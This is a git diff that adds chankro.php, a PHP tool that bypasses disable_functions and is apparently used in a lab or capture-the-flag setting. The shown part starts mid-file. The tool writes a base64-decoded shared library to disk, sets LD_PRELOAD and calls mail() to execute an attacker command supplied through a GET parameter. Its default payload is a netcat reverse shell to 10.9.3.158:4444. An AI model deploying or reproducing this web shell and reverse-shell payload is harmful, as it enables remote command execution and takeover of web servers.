diff --git a/chankro.php b/chankro.php new file mode 100644 index 0000000..ff5c0b1 --- /dev/null +++ b/chankro.php @@ -0,0 +1,65 @@ +'; + } +} else { + if ($arch == '') { + echo 'Architecture "' . $arch . '" (reported from php_uname()) didn`t match. Please spacify (32/64) in GET parameter (e.g. /?arch=64) or compile hook.so from source on target architecture.)
'; + } else { + echo 'Please spacify architrcture (32/64) in GET parameter (e.g. /?arch=64) or compile hook.so from source on target architecture.)
'; + } + } +} +// assigning hook.so according to architecture +if ($arch == "32") { + $hook = $hook_32; +} elseif ($arch == "64") { + $hook = $hook_64; +} else { + exit(); +} +// determine the current working directory (or any writeable directory) +$cwd = ''; +if (function_exists('getcwd')){ + $cwd = getcwd(); +} elseif (function_exists('dirname')){ + $cwd = dirname(__FILE__); +} elseif (array_key_exists("cwd", $_GET)) { + $cwd = htmlspecialchars($_GET["cwd"]); +} else { + echo 'Please specify a writeable working directory in GET parameter (?cwd=/path/to/dir)
'; + echo 'Trying it with /tmp for now.
'; + $cwd = '/tmp'; +} +// payload +$payload = NULL; +if (array_key_exists("cmd", $_GET)) { + // url encoded please! + $payload = $_GET["cmd"]; +} else { + $payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.3.158 4444 >/tmp/f'; +} +// placing evil files +$path_chan = $cwd . '/chankro.so'; +$path_sock = $cwd . '/acpid.socket'; +file_put_contents($path_chan, base64_decode($hook)); +file_put_contents($path_sock, $payload); +// setting evil environment variables +putenv('CHANKRO=' . $path_sock); +putenv('LD_PRELOAD=' . $path_chan); +// fire +mail('a','a','a','a'); +?>